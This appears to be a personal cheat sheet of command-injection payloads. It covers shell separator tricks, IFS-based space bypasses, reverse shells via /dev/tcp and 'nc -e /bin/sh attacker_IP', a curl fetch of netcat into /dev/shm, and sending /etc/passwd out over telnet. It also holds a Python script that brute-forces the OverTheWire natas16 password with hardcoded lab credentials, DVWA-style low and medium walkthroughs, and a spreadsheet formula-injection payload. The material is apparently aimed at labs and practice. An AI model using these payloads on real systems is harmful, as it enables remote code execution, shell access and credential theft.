Command Injection - Code Execution

Try to add the below symbols or statements to bypass and execute req commands

1) & whoami; 
2) ; whoami;
3) space c /etc/passwd #if gerp is being used this might work
4) $(whoami)
5) $(base64 -d <<< YQo=)

Bypassing Spaces in bash

#replace spaces with what ever you store in IFS
bash;IFS=_;com='ls_-la';$com
or
bash;IFS=_,;com='ls,-la';$com

bash;IFS=_;com='bash_-i_>&_/dev/tcp/127.0.0.1/9001_0>&1';$com
bash;IFS=_;com='curl_http://172.17.0.1:8000/nc_-o_/dev/shm/nc';$com
bash;IFS=_;com='chmod_+x_/dev/shm/rev.sh';$com

import requests  
from requests.auth import HTTPBasicAuth  
  
auth=HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')  
  
filteredchars = ''  
passwd = ''  
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  
for char in allchars:  
 r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=doomed$(grep ' + char + ' /etc/natas_webpass/natas17)', auth=auth)  
   
 if 'doomed' not in r.text:  
  filteredchars = filteredchars + char  
  print(filteredchars)  
  
for i in range(32):  
 for char in filteredchars:  
  r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=doomed$(grep ^' + passwd + char + ' /etc/natas_webpass/natas17)', auth=auth)  
    
  if 'doomed' not in r.text:  
   passwd = passwd + char  
   print(passwd)  
   break  


code taken from https://www.abatchy.com/2016/11/natas-level-16 

 

 

Low security
type ping or anything in the input box --> 192.168.0.1;pwd --> for linux

remote code execution using netcat

--> nc -vv -l -p 8080   in kali terminal
--> 192.168.0.1; nc -e /bin/sh attacker_IP 8080  --> 192.168.0.1;nc -e /bin/sh 192.168.0.22 8080

then it gets connected to the target website server; enter any linux command in the kali terminal; it works

-----------------------------------------------------------------------------------------------------------
===================================== MEDIUM SECURITY===========================================

--> nc -vv -l -p 8080   in kali terminal
--> 192.168.0.1 | nc -e /bin/sh attacker_IP 8080  --> 192.168.0.1 | nc -e /bin/sh 192.168.0.22 8080


telnet 127.0.0.1 12345 < /etc/passwd


Formula Injection
*=cmd | "/c calc.exe"!z